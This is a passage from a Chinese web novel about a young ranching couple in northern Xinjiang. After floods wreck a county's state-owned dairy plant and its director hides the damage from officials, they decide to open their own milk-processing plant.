人家真正的小厂子，就那种家庭作坊，别说上百万了，几千块钱，甚至就几个人都能开个作坊。 “咱们虽说也不是想一步登天，但既然做，那肯定是希望买到的设备是能多撑几年别太快更新换代的，这种哪怕二手的也不会便宜。” 他不想买太便宜的设备，效率是一方面，万一杀菌或者各方面没达标生产出有问题的产品来那损失的只会是他们自己，而且丧良心。 奶制品，尤其是奶粉这种东西，国内一般情况下还是孩子吃的比较多，让孩子吃不合格的东西，师星野还没心黑到这种程度，更别说师月江了。 师星野也是这样想的，像是衣服这种东西，便宜有便宜的消费市场，贵价的也有贵价的消费市场，便宜的顶多也就是穿的没那么舒服好看而已，可牛奶这种东西，如果设备有问题，杀菌不严格，什么大肠杆菌、沙门氏菌、李斯特菌乱七八糟的东西一滋生，那可容易应发食品安全事故的。 到时候自己的竞争对手抓住这一点好好宣传一下，他十来年别想再干食品和零售行业了。 还有像均质机这种东西，他都问过了，低端设备均质压力不足，会导致脂肪上浮、口感分层，他可是想打入高端市场的，这种钱绝对不能省。 姚新泉啧啧两声，“小少爷，你家是不是有矿啊？” 师月江戳了戳她的脑袋，“行了，建厂也不是一两天的事情，先去找领导谈谈吧？” 两人也没说去镇上然后一层层上报，耽误时间是一方面，也不方便啊！ 两人熟门熟路去找了高局，高局听到两人来意后人都傻了，指着门牌问，“识字儿不？我这是林业局，你这事儿找我干啥？” 姚新泉嘿嘿一笑，“那我们认识领导也没几个，最熟悉的不就是你了？”说完她又没忍住吐槽，“再说了，高局你往我那儿扔没断奶的小崽子时我可没推三阻四的啊！” 高局表情讪讪，心里忍不住腹诽，你那是没意见吗，你那是还不知道？后面不还追过来找我要产奶的母羊吗？ “行了行了，我懒得跟你们两个小孩儿计较，这事儿不是哪个部门的事情，我带你们找副县长去，你们自己去谈捐牛奶的事情”，说着自己都笑了，捐牛奶，哈哈！ 一行人很快到了石副县长办公室，听完几人来意后他没说别的，脸倒是先黑了，“你是说奶制品厂停工了？” 他们县之前划分职能的时候并没有把乳品加工纳入农业产业化范畴，那个厂子是归管工业和国资的一个副县长管的，这个厂子跟他挂钩的也就是一个原料问题。 再加上这几天都在忙这个下雨的事情，后续遗留问题多，虽然没造成人员死亡，但是受伤的跟财产损失可不小，农牧业受影响的地方也多，哪里都等着恢复生产，还得时不时跟进一下气象站那边的调查情况，他真是恨不得一个人分成八个来用！ 高局也不太清楚这个就看向两人，师月江点了点头，“我去打听了，他们还藏着掖着，后来我也是想了些办法才打听到机器不少都进了水。” 石副县长刚才只是脸黑了，现在直接眼前一黑。 这雨下了之后他大半夜冒雨专门跑到单位来是干什么？不就是通知各部门都得在岗，以防突发情况，并且叮嘱了各个单位得预防因为大雨导致的内涝等问题吗？ 这雨又不是现在下，五分钟后就淹了？那么长时间，他们机器没做任何处理？ 哪怕你说机器搬不动，那你是不是要想办法把水拦在外面？ “他们厂领导都是干什么吃的？”石副县长咬牙切齿，要不是还有外人在，他是真想问候问候厂领导的祖宗十八代！ 不对，不止厂领导，还有分管这一块儿的副县长！ 高局看了他一眼，他猜到怎么回事了，一个县总共就这么两家国家的厂子，奶制品厂出了问题停工这绝对是大事了，但他们领导班子都还不知道！ 这是因为啥？不是厂领导瞒报就是那位副县长那边兜住了，总之就是在防着石副县长啊！ 也许在别的城市管工业这一块儿的领导手头权力更大一点，但是在牧区谁管的事情更重不言而喻啊！ 县长退下去也就是眼前儿的事情了，人家自然不愿意再背上这么一桩麻烦事。 只是这么大的事情怎么可能按的下来…… 高局暗暗在心里摇头，这才是一步错棋啊！ 石副县长深吸一口气，“那你们现在的意思是把牧场里产出的牛奶捐给县里，你们对分配方式有什么建议吗？” 姚新泉点了点头，把自己的想法说了出来，石副县长点头，“成，就按你说的来，但不能一直这么办，你家的情况我也大概了解一些，摊子铺的大，但是身上还背着贷款，政府不能占你们便宜，先去看看厂子什么情况吧，看看什么时候能恢复生产。” 有人捐东西出来给老弱病残孕还有抗洪救灾的同志补充营养他自然是高兴的，但是不能一直这样。 道义不道义的另讲，那把人家牧场拖垮了，对县里未来的发展也是没好处的。 人家背后站着的那位不说是举国闻名的大商人吧，但是那也绝对是有些名头的，而且人家热衷于做慈善，名声还很好，留住他们对县里好处不少。 两人对视一眼，“我们打算自己建个厂。” 第132章 石副县长闻言皱起了眉头,“建厂？” 他看两人神情确认两人是真这么想的，这下更是头痛了。 他们县总共就这么几个国资的厂子，虽然说未必能盈利,但是也算是能解决一部分的就业。 虽然说私营的奶制品厂诞生不代表会完全挤压国营厂的生存空间,但是为什么现在市场经济开放之后私营厂子遍地开花？人家就是能赚钱啊！就是竞争力大啊！ 他们县厂子什么尿性他心里清楚得很,哪里打得过私企？ 不过是因为县里有钱人少,开一个奶制品厂的投入不小,所以才没人贸然进入这个行业罢了。 他这个厂子一开,很大可能性会导致本就勉强生存的国营厂瞬间再也支撑不住了。 而国营厂的倒闭又会带来不少连锁反应，想想他就头痛。 市场经济相比于计划经济总是有许多不确定性的，“铁饭碗”未必能赚多少钱，但是在社会稳定方面还是起到很大作用的。一旦大批国营厂工人流入社会,可不仅仅是经济压力的问题啊！ 另外这些企业也是承担了不少社会福利职能的,这些人的医疗、住房、子女教育、养老等等问题,没有国营厂在上面顶着那就得他们县里直面这些问题，并且必须解决。 怎么解决？哪来的钱？他去印吗？ 可让他阻挠人家开厂，别说他做不出来这种事情,就算他为了国营厂的未来做了,对县里真的好吗？ 市场本就是优胜劣汰的，没有国家政策兜底,像他们县里这种厂子本来就没有什么竞争力,淘汰是迟早的事情。 总不能说为了让它晚两天倒台然后就不管未来的发展了吧？ 没错,在 石副县长看来,姚新泉和师月江两人建的厂子是关乎他们县未来发展的。 或者说不是这个厂子，而是他们背后的江星集团。 他托朋友查过了，这个公司涉及的行业不少，是很有生命力也很有前景的一家公司,至少他很看好。 如果在他们县未来的发展中能有这家公司过来投资入驻，那对整个县的好处简直是不可估量。 石副县长表情很是复杂，除了这些原因之外，他也不是没有私心。 那个狗东西跟自己都是副县长，他为了更上一步连奶制品厂停工了这种消息都敢瞒报，那现在出了一家新公司直接把奶制品厂干倒闭了，倒要看看他还拿什么藏！ 师月江在人际交往中虽不如师星野远矣，但是他也大概猜到石副县长的想法了。 不等他开口，师月江先解释了起来，“我们没想在县里跟那家厂子竞争，我们的市场在外面，当然了”，他笑了笑，脸上多了丝不以为然，“那家厂子能否继续经营下去最大的阻碍本身也不在外部。” 想要在市场里存活下去不是要比烂，而是要比谁更好，更有竞争力，一家内部烂掉的企业的未来可想而知。 石副县长苦笑一声，他摆了摆手，“别说了，再说我连都该脸红了”。 “行了，你们在这等我一下，我去找下县长。” 石副县长走了后高局三人面面相觑，他无奈笑了，“还是县里太穷了”。 除了农牧业本县没有任何支柱产业，但是农牧业看天吃饭，这次的大雨一下，今年肯定也得受影响。 至于个体经济私营经济什么的，他不太懂怎么搞经济，但是也知道一潭死水的情况下，经济别想发展！ 再说了，他们县人就这么点儿，人本来就少，年轻人还总往外跑，县里经济能发展的起来才见鬼了！ 也就是因为经济不行，他们才不忍心让任何一家企业轻易倒下去的。 想到这些高局就头痛，同时又庆幸自己不是管径济的，看看管经济的老谢跟他也就一般大，比他看起来可老了十岁呢！ 三人不知道石副县长在县长那里说了什么，但没一会儿就见石副县长的秘书跑了过来低声跟三人道，“把马副县长叫去了”，就是管国资的那位。 又等了一会儿石副县长回来了，身后跟着脸黑得跟煤炭一样的马副县长。 屋里三人都起身，马副县长朝着高局冷笑一声，连个眼神都没给姚新泉两人。 两人倒无所谓，高局更是心里觉得可笑，就他这样的将来老县长退下去了也不可能让他顶上去，他虽然是副县长，但是又不分管自己，自己也没什么求着他的，有什么好怕的？ 黑脸就黑脸，谁怕谁一样！ “行了，先去奶制品厂看看吧！”石副县长招呼几人出去，他不留痕迹地走到姚新泉身边低声解释，“到底你们签了合同，虽说是他们先不收你们牛奶的，但这事儿总得有个说法才行，不能好好的没错倒弄出错处来就不值当了。” 姚新泉点了点头低声跟他道谢，县里没公交车，但几人里师月江和高局都骑着摩托，还有一辆公车摩托也够了。 几人很快到了奶制品厂，师月江熟门熟路地停车然后带着几人到了门口。 门卫不认识其他人，但是见过师月江几次，此时见到他过来很是不耐烦，“你怎么又来了？都跟你说了不收不收，你还跑过来干嘛？我警告你啊，我们这可是国营厂，你再过来我就向上面反应说你扰乱生产了！赶紧走赶紧走”，说完跟轰苍蝇一样赶他。 早年的经历不算，从他家平反回来他哪里被这样对待过？在家里是小少爷，在学校在部队里全都是尖子生跟优秀的军人，此时脸上神情也不大好看。 还没等他说什么，那人翻了个白眼，一杯喝剩的茶叶渣滓就泼了过去，要不是姚新泉拉了一把，那茶叶就泼他身上了。 姚新泉脸色难看，“你们厂说好了要收牛奶，合同签了，白纸黑字，你们现在说不收就不收了，什么时候能恢复生产不知道，还收不收也不知道，也见不到负责的人，就把我们牧民撂在这里，那我们算什么？我们家里那么多牛奶因为你们不收被浪费掉算什么？有没有你们这样做事情的？你们领导呢？人呢？” 那人嗤笑一声，“不就是几公斤破牛奶吗，我们厂不要你们自己解决就行了呗！别拿什么合同说事儿，你抬头看看，我们是国营厂，你们那是啥？你们不就是个体养殖户吗？还见领导，领导每天闲的没事干专门见你啊？” 在他说出更难听的话之前，被石副县长拉到高局身后躲起来的马副县长受不了了，他的脸都被人在姓石的面前踩到泥坑里去了！ 他黑着脸挣脱了石副县长的手上前几步站在那人面前，“我也见不到你们领导是吧？” 门卫一愣，这张脸有点熟悉啊！ 再一看，老天爷，这不是马副县长吗？ “您，不是，您怎么来了啊？”他赶紧咽了咽口水，心慌手抖，话都不会说了，领导可专门叮嘱了，马副县长来的话一定要好好接待并及时通知他的啊！ 马副县长冷笑，“我怎么来了？怎么，我来是得提前通知你们，还得得到审批同意才行吗？” 他快要气死了，肺都要气炸了，他是存了些小心思，但是不代表他不想县里好啊！ 隐约记得听谁说过这人好像跟厂子里某个领导有点沾亲带故的关系，他不想跟这种小喽啰说话，摆了摆手就要往里走，门卫也不敢拦。 姚新泉冷笑一声也懒得跟这种前倨后恭的人多说一个字，几人跟在马副县长的身后便进了厂子。 他带着众人直直去了厂长刘德宝的办公室，敲了门，没等对方回应推门而入。 刘德宝正要发火，对上马副县长那暗藏怒火的眼神后立马消停了，露出个笑来，“领导您怎么来了？” “我怎么来了？”马副县长冷笑，“我来干嘛？我是来看看咱们刘厂长是怎么干工作的！” 天地良心，他真的只是想把短期停工几天的事情隐瞒下去，还特意叮嘱了刘德宝要抓紧处理奶源的事情以及机器维修等问题，他是答应了的，结果就这？ 按他的想法，停工一两天又是因为特殊天气，各方都能理解，他们抓紧时间复工，就算到时候这事儿被捅出去了，也没造成什么恶劣影响，事情是可以平稳过渡的。 结果就这？ 越想他越来火，他跟老石俩人都没什么背景，但是老石跟他不一样的是那家伙年轻一些，虽然是部队退下来的，但是当初人家就是高中生入伍，在部队里也没放弃学文化，要不是身体原因他在部队里的前程远大着呢！ 自己呢？泥腿子出身，最早还是跟着扫盲班学的文化，后来一步步进入公社，再是进入国营厂，最终调到这边来当副县长。 虽然说他也不能说完全没文化，但确实没什么学历，仅这一点他的前程那就是肉眼看得见的。 而且自己虽然在之前那边干经济干得还可以，但是那是在国营厂里，他能感觉到自己适应不了那什么市场经济，所以他的未来是渺茫的，能扑 腾到县长位置上退休就已经了不得了。 因为这他才想把这消息拦一拦的。 第133章 马副县长深吸一口气,“你说说吧，机器损坏情况到底是什么样的？” 当初这姓刘的跟他说了几句，虽然那时候就觉得这孙子有点打马虎眼的意思,但是也没想到会这么严重啊！ 刘德宝嘴巴动了动,目光却一直往旁边扫,虽然别的人他不认识,但是石副县长和高局他认识啊！ 马副县长看到石副县长那嘲讽的笑容更是心里一股邪火蹿了出来,“你看什么看,问你呢？有什么不能跟别人说的？老子堂堂正正，事无不可对人言！” “你那天自己跟我说均质机的轴承进水需要修，还有什么灌装设备的传感器受损，除了这些还有什么你说说,我们就在这听着。” 他被县长指着鼻子骂的时候也觉得委屈的不行,还把自己当时记录的笔记本拿给对方看,他是真觉得问题不大，也没觉得这孙子能骗自己，毕竟自己可算是他的顶头上司啊！ 那什么均质机是影响口感的,灌装设备是最后包装的,最主体的设备都没受损啊！ 这不一修就成？ 他拿着纸笔等着对方说，不等他说话石副县长便道,“直接去车间看吧”,听他在这废话！ 马副县长深吸一口气,“去,现在就去！” 见刘德宝那一副吾命休矣的表情他眼前一黑又一黑，一世英名啊，他的一世英名就这么毁于一旦了！ 马副县长死死咬住下唇，看着刘德宝的眼神都恨不得把他生吞活剥了,他就那么一点儿私心，就那么一点点儿私心就被这孙子利用了！ 几人跟着磨蹭的刘德宝到了车间，就见一中年女性正一脸惆怅地跟着几个人在机器边转着。 她看到过来的一群人，先是跟刘德宝翻了个白眼，随后看向另外几人，目光落在马副县长身上的时候眼睛都亮了。 “马副县长，你可得给咱们奶制品厂做主啊！”她从人群中挤出来众人才发现，她腿上打了一层厚厚的石膏，腋下也夹着拐棍。 马副县长认得她，板着脸朝她点了点头，“孟主任，你这是？”又给几人介绍，“这位是厂里的生产主任，孟茹。” 孟茹撑着到了几人面前，看着刘德宝的眼神满是控诉，“马副县长，我要举报刘厂长尸位素餐欺上瞒下，损害国家和集体利益！” 刘德宝惊怒，“孟茹！”这娘们已出现他就知道完蛋了，也不知道是谁那么多事把人叫过来！ 孟茹冷笑一声，“叫你老娘干嘛？”要不是站不稳她都想冲上去揍这个狗东西了！ “马副县长，我所说的话我都能负责，下雨前一周吧我因为被摩托车撞了骨折做了手术住院了，所以厂里的生产工作全都听刘德宝的安排，我因为伤势恢复得不太好也没精力关注厂子的事情。但今天早晨有工人去我家找我跟我说了厂子目前的情况，工厂的机械有一个算一个基本都出问题了！” 马副县长只觉得已经听到自己的丧钟了，恨不得倒在地上再也不要起来。 他的一世英名啊！一世英名！ 此时他看着刘德宝的目光像要吃人，声音里都透着寒意，“你说，机器都出了什么问题？” 孟茹嗤笑，“也别问他了，他知道个屁，占着茅坑不拉屎，闹出了这么大的事情，就知道警告工人不许出去乱说，还威胁他们谁说了就开除谁。要不是工人实在担心饭碗不保，我也一直被蒙在鼓里呢！” 她看了眼不争气的腿，那雨一下她就想回来安排工作，但是她的身体素质本来就不是特别好，骨折的还挺严重的，要不是医院里这阵子都是因为暴雨而受影响的患者，自己咬死了是给他们腾床位，医生跟家属未必愿意让她出院。 她蹦着带着众人往里走，姚新泉仔细看着，机器怎么样不说，那厂房里还能看到角落里没清理干净的泥沙呢！ 这可是做食品的厂房啊！ 虽然说如今日子已经比早些年好过多了，但见到这样糟蹋东西，姚新泉心里也不大舒服。 这还是国家资产，唉！ 马副县长看得也是头疼，孟茹冷笑一声，“雨停了之后，发现机器坏了之后厂长就没有再安排工人进车间。” 为的什么几人都知道，不就是想把这个机器坏了的事情多瞒几天吗？ 可真的有用吗？姚新泉心里觉得奇怪，这机器又不是说我放那儿十来天就能自愈了！ 众人跟着支着拐杖勉强走路的孟茹一起顺着流水线看去，“储奶罐跟过滤机问题倒不算太大，就是脏了还没清洗”，但是想想也挺好笑的，不是才停雨，这么长时间了，竟然连只要清洗一下就能收拾好的储奶罐之类的都没清洗完。 之后是巴氏杀菌罐，孟茹眼神复杂了许多，她弯腰指了指接口处，“之前就有些锈了，在水里泡了两天后已经有些渗漏了。” 姚新泉和师月江两人对视一眼，真是不知道说什么了，巴氏杀菌机器，竟然生锈了？ 牛奶要是杀菌不合格会导致许多的问题，沙门氏菌、李斯特菌、大肠杆菌，本来牛奶就大多数还是孩子跟孕妇去喝，他们又是抵抗力相对最差的群体，喝了之后搞不好会腹泻、呕吐、发热，孕妇还有可能流产。 真是要命。 “水泥发酵池进了污水没处理干净，发酵罐的温控板传感器坏了。” “干燥机数据失真，热风系统温控不精准，灌装机的机械系统的电子传感器也被泡了，灌装精度下降，包装密封性变差。” 孟茹说的自己心里都难受了起来，“锅炉那些问题倒不太大，清洗后就能用了，但是一些主要的机械基本没有好的。” “我听工人说刘德宝他们倒也想要去找人修，但咱们这儿没人能修的了这种设备，咱们当初买的也不是人家原厂的东西，都是东拼西凑买的二手的，就是国内的厂家都不好修，而且好多也没生产，都淘汰了。” 这话听得众人心直往下沉，所以就没得修了是吗？ 就全扔了？ 那厂怎么办？工人怎么办？ “兵团那边后勤联系过我们催货，好多单位后勤也在催，还有居委会奶站”，孟茹头疼得不行，奶票已经停用了，他们厂的鲜奶主要供应的是本县机关单位的食堂跟家属、兵团职工和家属，没有给散户卖，剩余的基本都是用来制作各种奶制品，奶粉、奶疙瘩、黄油这些。 “虽然签了合同，但是这些单位应该不至于问我们要违约金”，这话说得孟茹都脸红，机关单位这些好说，兵团那边虽说不是一个系统，但是大家离得近倒也有两分面子情，也不至于把事情做得那么绝，违约金应该是不至于要。 “但是厂子已经停工了，以后的员工工资”，孟茹叹气，她只是个生产主任，有些事情不该她管，一时间也不知道怎么办了。 马副县长整个人的情绪从激动、愤怒到崩溃、无奈，最终归为平 静，石副县长全程更是一言未发。 几人沉默地出了奶制品厂，姚新泉两人想了想还是跟着回了县政府里。 一回来马副县长和石副县长就去了县长办公室，高局先走了，姚新泉二人也没进办公室，就在接待室里等着。 想到方才的情形，姚新泉实在是忍不住了，“这种人，这种人他”，本想劈头盖脸骂几句，但到底是人家县政府，姚新泉把到嘴边的话咽了下去，满脸气愤。 师月江莞尔一笑，把水杯递给她，“估计他是有什么消息，或者通过什么途径知道上面会拨钱了。” 姚新泉一愣，“拨钱？” 师月江点头，“也有可能是设备，像是什么企业淘汰下来的设备被他盯上了。” 除此之外他想不到别的可能性。 刘德宝确实不算聪明人，但是能做到一个厂厂长的位置，他也绝对不是那种啥都不懂的糊涂蛋。 这种事情一天两天能瞒，但工人一个月不工作不发工资也许能忍，两个月呢？三个月呢？ 这根本不是用拖字诀能解决的问题！ 只有一个可能，那就是在拖的过程中这事儿是可以解决的。 怎么解决？这批机器用不了了，那要么上面给钱买新的，要么给机器，没其他可能性了。 姚新泉想了想也是，不过这都跟她没啥太大的关系，但就是很气啊！国家多不容易，那钱不也是一分一毛赚出来的？ 你作为一位厂长，不说代领厂子革新技术推广产品，把厂子做大做强，倒想着为了能骗国家的各类补贴政策等等，瞒报厂子的实际经营情况。为的是什么？还不是他自己将来的发展？ 这种人就应该赶回家去吃自己！ “我觉得那个孟茹其实还挺好的”，姚新泉感慨了两句，不过不等师月江说什么她又接着道，“我知道她能力有限，但至少心是好的，不过不应该干领导。” 她又不是傻子，会看不出孟茹能力一般？ 其实也不一定是能力一般，也有可能是跟下面工人关系一般，不然的话出了这么大的事情，刘德宝要求工人不告诉其他人他们就真瞒着孟茹这位生产主任了？ 不提别的，她一个生产主任，就算不说二把手，算三把手吧，在厂里竟然没有真正的心腹？她人不在就没人想着她？ 别的不提，做领导这样真的不行。 第134章 两人等了很久石副县长才过来,见了两人后他苦笑着抹了把脸，“你们跟奶制品厂的合同解除，这两天我会让那边出个文件给你们,至于赔偿”,他略有些不好意思开口,他们履行不了合同,他们闹得姚家牧场的牛奶卖不出去,这事儿闹得！ 正当他打算厚着脸皮说拿不出赔偿的时候姚新泉先开口了,她笑了笑，“我也不会说什么漂亮话，当初我爸妈想要开牧场，想要贷款也是县里帮了忙的,解除了也就不提其他了。” 要赔偿倒也不是不能要,但是怎么要？ 去打官司吗？跟国营厂打官司？以后还在不在县里混了？ 再说了,人家副县长专门来说了，得给这个面子。 石副县长又搓了下脸，叹了口气,“这事儿委屈你们了”,他话音一转，“你们之前说的开厂那个事情我已经跟县长说过了,你们该去注册去注册,地方赶紧选,只要不出格县里面都会给你开绿灯。” “至于你说的捐赠的事情,我们念你的好，但不能一直这样占便宜，我是这样想的，这几天我们去给你联系下别的奶制品厂,虽然说运输成本上去了，但是好歹挽回点儿损失。” 姚新泉想了想还是摇头拒绝了，在对方不解的眼神中道，“月江他大哥那边已经给我们联系了一些机器在运来的路上了，火车过来十天半个月的就差不多了。这段时间我们把手续都跑好，家里再留一些，剩下的都给你们按照之前谈的处理吧。” 心疼还是心疼的，但事情已经这样了还能怎么办呢？ 送到别的县或者市里去收购？看他们县厂子的规模就知道，不管是机器还是人工都是有限的，他们市基本都是这样，没有什么支柱产业，都是靠传统行业谋生，那人家县里市里也有养殖户供应啊，干什么要大老远收她家的？ 而且机械设备有限，收了也没办法加工啊！ 不折腾了，家里可以搞个简易小作坊做点东西自己吃，剩下的都捐了吧！ 姚新泉捂着胸口，心痛！ 石副县长深深看了她一眼也没有再多说什么，有些事情记在心里就成了。 姚新泉两人离开后便打算在县里转转看看哪里有合适的盖厂子的地方，或者有现成的也行。 “要靠近咱家牧场，还得要交通便利”，姚新泉细细思量着，这个厂子短期内还是依托于自家牧场的产出来开的，那么肯定得靠近自家。 奶牛一般产奶期大概在10个月左右，未来九个多月不愁原料的问题，至于自家奶牛不再产奶之后怎么办那再说吧，不管是看从别的地方收购还是怎么都再说吧！ 至少姚新泉私心里觉得，那奶制品厂开不久了。 “我觉得那个厂从机器到人就没有没问题的”，姚新泉拉着师月江吐槽，师月江笑着附和，不过在他看来，就是因为人有问题，机器才有问题的。 “早些年对于这类厂子的扶持力度还是很大的，但我前面看了一下，不少设备都还是五几年生产的”，五几年啊，那时候出生的人到现在都四十岁了，机器用四十年什么概念？ 市面上早都淘汰好几轮了吧！ 姚新泉也叹气，表情不是太好看，“我爸妈他们早年是国营牧场的员工，那几年在我印象中效益特别好，出去一说我爸妈是双职工给人羡慕得啊！” “后来我爸妈总觉得一辈子待在国营牧场赚不了什么钱，他们想给我最好的”，她脸上多了几分怀念，人家都说人死万事消，人没了就算有什么不好的也别计较了，想到的都是些好的事情，但她不是这样。 父母在的时候，姚新泉也想不出任何他们对自己不好的地方，自己就是他们捧在手心里的宝贝。 师月江感受到她情绪低落拍了拍她的背却也没说什么劝慰的话，有些情绪只能自己消化。 姚新泉笑了笑接着说回刚才的话题，“他们办了停薪留职出来干，最开始那些职工还总是私下里嘲笑他们，但后来国营牧场一年不如一年，原本的员工也都各自找了出路离开，那么大个牧场说没也就没了。” 要说有什么直接原因倒好像也不至于，政策原因、市场冲击、管理僵化好像都是原因，反正最终结果就这样了。 “当年牧场最好的时候光牛就养了几千头，你想想咱家八十来头牛产奶最多的时候都将近2吨了，几千头是什么概念？” “那时候牧场的牛奶就咱们县里那家奶制品厂一家都能吃得下！” 所以有时候她也在想，这么大的产量，难道说全被他们县里消化了？竟然一点都没走出去？ “曾经也算得上风光了，依靠着畜牧业感觉干的真挺不错的，也没听说什么机器有问题、老化之类的，但也不知道从什么时候开始突然就不行了，一直走下坡路，唉！” 两人对视一眼不再去想那个破厂子的事情，操心也轮不到他们操心，不过是感慨两句罢了！ 两人一路逛着逛着到了回家的路口，姚新泉看着那分叉路突然想起什么，“我记得那边好像有个国营牧场的厂房”，姚新泉皱着眉道，“好久之前的事情了吧，可能都废弃不用了？” “走，去看看呗！”师月江拉着她往前走。 两人走了一公里左右看到前面有五间不算小的房子，靠近后师月江愣了下，“是砖房？”他还以为是土坯房呢！ 不是，砖房竟然还能废弃在这，竟然没有被扒掉？就算没人挤进来住，这砖竟然没人偷摸弄走？ 姚新泉笑了起来，“牧场当时那个情况，大部分人被优化，少部分人被分配去了别的单位，别的资产都处理了，包括牧场什么的，咱家牧场曾经就是那个国营牧场的资产，后来在政府的协调下还给集体了，后来还空置了好几年，这房子的话”，她笑了笑，“估计是因为没啥太大的价值，也就是砖值点钱，但又没有做废弃处理，说到底还是国家资产，估计也是不敢来住或者拆吧！” 早年间大家条件不好，能有土坯的房子就不错了，她家就住了好多年土坯房。 但这几年条件好点儿的都盖了砖瓦房，条件差的家又不在这边，大老远过来住在这，种地什么的怎么办？所以这算是比较鸡肋的地方了，当初要不是在山脚下估计也不会因为交通方便在这里盖。 她看着这几间房的目光很是感慨，“这是牧场初步处理牛奶的地方，最开始只是过滤”，毕竟牛奶里可能带着牛毛或者饲料残渣，这是避免不了的，得过滤。 “你也看了那个厂，厂的规模不算小，但其实也不算太大”，师月江闻言点了点头，老实说，其实比他想的要小很多。当然了，是在这边地广人稀的基础上来说的。 “后来我印象中好像是因为那边厂子场地不够用了，所以跟牧场这边协商，把冷却也放在这边做，到了那边直接杀菌消毒”，她又解释道，“就是用冷水给牛奶降温，降到10度以下能延缓变质。” 师月江点头，他绕着这几间屋子打转，砖是好砖，不过不是用水泥去粘合的，是用土。 地面夯实了，但没铺水泥，可能在当时还行，但现在想要建厂那最起码也是砖混结构，地面要铺水泥，墙壁刷大白。 车间之类的地方可能还会铺水磨石的之类的，但用来过渡倒也行。 “你想先借用这边？” 姚新泉见他知道自己想的是什么自然高兴，她点了点头，“先别说我还不是富户呢，就算以后会是，现在地主家里也没余粮了啊！” 总共没多少回头钱，总不能一直给人家送奶吧！ “大哥那边机器十天半个月会到，这边咱们找人好好收拾收拾，先用着，然后厂房什么的另外建，建好之后再搬到那边去，至少不耽误事情啊！” 师月江想了想觉得可以，“不过得再围个围墙”，姚新泉摆摆手，都是小事啦！ 两人又转了半天后腿都跑细了，姚新泉苦笑，“我觉得就在那几间房子边上盖厂房也可以”。 师月江也赞同，“离家里近，交通便利，有水源，通电了还远离生活区，我觉得蛮好的。” 奶制品厂的污染不算严重，但是毕竟也有，他们做好自己应做的是一回事儿，最好还是远离生活区吧！ “行，那就干脆这样吧”，姚新泉也跑烦了干脆拍板，“那去跟领导说一下就这片地，租也行怎么都行，今天要是能大致说好明天就得盯着先把这几间修好，等机器到了立马开工！” 两人又跑了一趟，石副县长也没想到两人这么积极，哭笑不得道，“也不用你们提什么审批了，前面的流程都给你们省了，你们去工商局那边办好营业执照跟其他手续，至于地皮”，石副县长沉吟了一会儿，“县里也有招商引资政策，但是附带了条件就是解决一部分就业问题，如果你们同意，我们领导班子可以讨论下看看给你们争取优惠用地，或者也可以协议出让，或者你们考虑租赁？” 第135章 “不租”,师月江先拍板了，他跟他哥算投入的时候已经把出让土地的钱算进去了，租什么租？ 他跟他哥的想法其实差不多,最好还是用自家的房子,用别人的搞不好就要出问题。 他沉吟了一会儿还是道,“就正常出让吧”,他确实没太研究过这边的招商引资政策,但是想来也许不适合他们,不然他哥应该会提一句的。 再者说他也怕享受了政策后人家会对他们的用人提出各种意见。 开厂子是为了赚钱的，私人厂子跟国营厂子是不一样的，没什么铁饭碗一说，不好好干或者不行你就给我滚蛋。 万一到时候享受了人家的政策,结果他们要开除人的时候人家说这不行那不行,你都答应过的,这绝对不行！ 姚新泉也觉得有道理，不过这厂子她没投任何钱，也不参与分红,又没正经做过生意,所以她没发表什么意见。 亲兄弟都明算账，他们还没结婚呢,她不可能手伸那么长去管对方的钱。 她没那个想法更没那个本事和心气儿。 至少到目前为止,她只对自己的牧场感兴趣。 第二天姚新泉没再下山,不过她给张运秋打了个电话,不管是装修还是盖房子的事情都让姚新泉去找张运秋。 张运秋早年那是要学历没学历要工作没工作，不是本地人，是过来投亲的，连个住处都没有。 后来他自己拉着人去建筑队帮忙做事,慢慢地也攒了点儿钱。就是看出他是个吃苦耐劳的人，姚妈才肯把妹妹嫁给他。 “你去找我小姨夫，我记得好像建筑队的人不少也出去单干了，他还给人投了钱，每年多多少少有点分红拿。” 师月江笑着点头，心想张运秋倒有点像县里的地头蛇了，只是人家不干违法乱纪的事情。 不过想想也合理，为了赚钱哪一行都掺和一脚，认识的人自然就多了，再加上为人处世光明磊落却又很讲义气，身后一堆朋友也合理。 他下山去处理工商登记等事情，姚新泉还是在家喂小动物，她打算今天去牧场里转一圈，之前就想着把该填平的坑填了，有小动物死了的赶紧埋了，结果事儿赶事儿又给忘了。 家里那几个暂住的小病号都换过药了，恢复情况都还不错，甚至没用上她的金手指。 当然了，恢复最好的是马鹿，简直让她震惊，缝合的伤口已经结痂了，也看不出他有任何不适，要不是还想着去检查下牧场就给它放出来了。 留下最可靠的娜娜看家，她带着其他几条狗狗跟天上飞的小金还有红隼一起出门。 没错，红隼不仅没跑，现在甚至都算是家里的编外成员了。 “发现地上有大坑或者有死亡的小动物一定要来找我，不许靠近知道吗？” 姚新泉跟他们连说带比划地讲了好几遍后终于一挥手，“出发！” 皮皮在马棚里叫唤姚新泉也没放开她，那孩子好奇心太重了，她要是看到死亡的小动物搞不好还得去尝尝咸淡…… 姚新泉带上手套、口罩骑着三轮摩托车进了牧场，她速度不快，而且今天的主力并不是她，感受着太阳的灼热，但同时又能感受到风的凉意，姚新泉微微眯起了眼睛，可真舒服啊！ 北疆就是这样的，晒归晒，可一点不影响风大和凉爽的。 没一会儿突然听见毛毛的叫声，她赶忙过去后就见着他蹲在一个小洞面前，见她来了便朝她叫。 姚新泉摸了摸毛毛的头后把火钳拿了出来在洞里掏了掏，没一会儿夹出了一只死老鼠。 她皱眉看了一会儿，这是仓鼠还是田鼠啊？ 管他呢！ 姚新泉把死老鼠扔在麻袋里面，等后面拿出去一起焚烧，就不在牧场里处理了。 过了几分钟又听见小金的声音，她顺着找了过去，就见小金蹲在一棵树上看着她，树下则是一只狐狸，应该是成年体型。 她凑近一看眉头便皱了起来，哺乳期的狐狸啊！那小狐狸呢？ 把小金叫了下来又跟红隼说了说，姚新泉便让他们 去顺带着找了，主要是她也没抱什么希望。 这都几天了，母狐狸死了，哺乳期的小狐狸真能活下来？ 姚新泉忍不住叹了口气，又把母狐狸放到麻袋里，刚想走，看到车轮前那好像有两株小苗儿，她蹲下看了看，半晌感慨地站起身，“胡杨啊！” 看样子好像是小树苗被水冲刷带过来的，也不知道怎么又落在了这里，并且眼见着活了。 “生命可真是奇妙啊！”有因为这场雨而死去的，却也有神奇活下来的。 她心情突然好了不少，甚至哼起了小曲儿，伴随着一声声狗叫以及鸟叫，她随身带着的麻袋已经逐渐装满了。 狐狸、刺猬、老鼠基本都是穴居的，雨水倒灌进洞穴，确实未必逃得掉。 